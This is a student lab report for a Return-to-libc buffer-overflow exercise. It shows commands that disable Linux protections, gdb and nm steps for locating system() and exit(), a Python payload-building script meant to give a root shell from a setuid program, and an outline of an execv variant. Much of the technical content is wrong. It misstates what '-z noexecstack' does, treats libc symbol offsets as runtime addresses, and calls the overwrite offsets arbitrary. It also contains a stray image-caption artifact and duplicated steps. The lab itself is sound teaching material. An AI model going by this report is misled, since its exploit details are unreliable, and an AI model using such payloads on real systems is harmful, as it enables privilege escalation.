Huzaifah Majid

Computer Security

Professor Leo Fan

April 1 2023

Return-to-LibC

**Intro**

The lab requires the disabling of several security mechanisms implemented in Ubuntu and other Linux distributions to make buffer-overflow attacks difficult. Address Space Randomization is disabled using the command "sudo sysctl -w kernel.randomize\_va\_space=0". StackGuard Protection Scheme can be disabled during the compilation using the -fno-stack-protector option. The Non-Executable Stack is set to be non-executable by default in Ubuntu. To change that, the "-z noexecstack" option is used when compiling programs.

The /bin/sh symbolic link in Ubuntu 20.04 points to the /bin/dash shell, which has a countermeasure that prevents itself from being executed in a Set-UID process. To disable this protection, the symbolic link /bin/sh is linked to another shell, such as zsh, which does not have such a countermeasure.

The vulnerable program (retlib.c) is a C program that contains a buffer overflow vulnerability. The program has a function called "bof" that takes a string argument and copies it to a fixed-size buffer of size BUF\_SIZE. The function does not check if the size of the input string is larger than the buffer size, which can lead to a buffer overflow vulnerability.

The main function of the program opens a file called "badfile" and reads the content of the file into a buffer called "input". The size of the input is then printed out, and the "bof" function is called with the "input" buffer as an argument.

The "bof" function also prints out the address of the buffer and the frame pointer value for experimentation purposes. The frame pointer is used to store the address of the calling function's base pointer, which can be used to determine the position of the return address on the stack.

To find out the addresses of the system() and exit() functions, we can use gdb to debug the retlib program. Here are the steps:

First I opened the terminal and navigated to the directory containing the retlib program.

Then I Create an empty badfile file in the same directory using the touch command: $ touch badfile.

I started gdb in quiet mode and set a breakpoint at the main() function of the retlib program by typing the following command: $ gdb -q retlib and then break main.

I then ran the program once inside gdb by typing the run command.

Once the program hits the breakpoint at the main() function, I used the p command (or print) to print out the address of the system() and exit() functions by typing the following commands: p system and p exit.

I then Record the addresses of the system() and exit() functions that were printed out.

Exit gdb by typing quit.

if I wanted to I could have also prefer to run gdb in batch mode, where I can put the gdb commands in a file (e.g., gdb\_command.txt) and then execute the commands from the file by typing the following command: $ gdb -q -batch -x gdb\_command.txt ./retlib.

After executing the above command, I got the addresses of the system() and exit() functions printed out on my terminal

Task 2:

* I created a shell variable MYSHELL and set its value to "/bin/sh"
* I compiled the following C code into a binary called prtenv:
* I ran prtenv to get the address of the MYSHELL variable in memory.
* Text

  Description automatically generated with low confidenceI then used the address of MYSHELL as an argument to the system() call in the retlib program.
* I then ran prtenv to get the address of the MYSHELL variable in memory.
* I used the address of MYSHELL as an argument to the system() call in the retlib program.

Task 3:

To determine the values of X, Y, and Z in the Python code, we need to find the addresses of the "/bin/sh" string, the system() function, and the exit() function in the libc library. I used the nm command to find the addresses of these functions in libc:

$ nm -D /lib/i386-linux-gnu/libc.so.6 | grep '/bin/sh'

18ecee /bin/sh

$ nm -D /lib/i386-linux-gnu/libc.so.6 | grep ' system'

0003ada0 T system

$ nm -D /lib/i386-linux-gnu/libc.so.6 | grep ' exit'

0002e9d0 T exit

I saw that the address of "/bin/sh" is 0x18ecee, the address of system() is 0x0003ada0, and the address of exit() is 0x0002e9d0.

So I can choose any arbitrary values for X, Y, and Z, as long as they do not overwrite any critical data. In this case, we can use I used 100 for X, 200 for Y, and 250 for Z, as they do not overwrite any data that is important.

Using these values, I can fill out the Python code as follows:

import sys

# Fill content with non-zero values

content = bytearray(0xaa for i in range(300))

X = 100

sh\_addr = 0x18ecee # The address of "/bin/sh"

content[X:X+4] = (sh\_addr).to\_bytes(4,byteorder='little')

Y = 200

system\_addr = 0x0003ada0 # The address of system()

content[Y:Y+4] = (system\_addr).to\_bytes(4,byteorder='little')

Z = 250

exit\_addr = 0x0002e9d0 # The address of exit()

content[Z:Z+4] = (exit\_addr).to\_bytes(4,byteorder='little')

# Save content to a file

with open("badfile", "wb") as f:

f.write(content)

To test the exploit, I needed to compile the retlib.c program and make it setuid-root:

$ gcc -m32 -o retlib retlib.c -fno-stack-protector -z execstack

$ sudo chown root retlib

$ sudo chmod 4755 retlib

I can then run the exploit by running the retlib program with the badfile as input:

shell

$ ./retlib < badfile

This should give us a shell prompt as the root user. Can verify this we have a root shell by running the id command:

# id

uid=0(root) gid=1000(seed) groups=1000(seed)

For attack variation 1, I remove the address of the exit() function from the badfile and run the exploit again:

import sys

# Fill content with non-zero values

content = bytearray(0xaa for i in range(300))

X = 100

sh\_addr = 0x18ecee # The address of "/bin/sh"

content[X:X+4] = (sh\_addr).to\_bytes(4,byteorder='little')

Y = 200

system\_addr = 0x0003ada0 # The address of system()

content[Y:Y+4] = (system\_addr).to\_bytes(4,byteorder='little')

Task 4:

Here are the steps I performed in order to complete this task

1. I found the address of "/bin/bash" and "-p" strings by running the vulnerable program with the exploit from Task 3 and seeing the output.
2. I found the address of the main function's buffer, which is printed by the vulnerable program in this task.
3. I made the argv[] array on the stack in the following format:
   1. argv[0] = address of "/bin/bash"
   2. argv[1] = address of "-p"
   3. argv[2] = integer value of 0 (four bytes of zero)
4. Made the input for the bof() function, which should include the return address, the padding, and the address of the argv[] array on the stack.
5. When the bof() function returns, it returns to the execv() function, which fetches the pathname and argv[] array from the stack and execute "/bin/bash -p".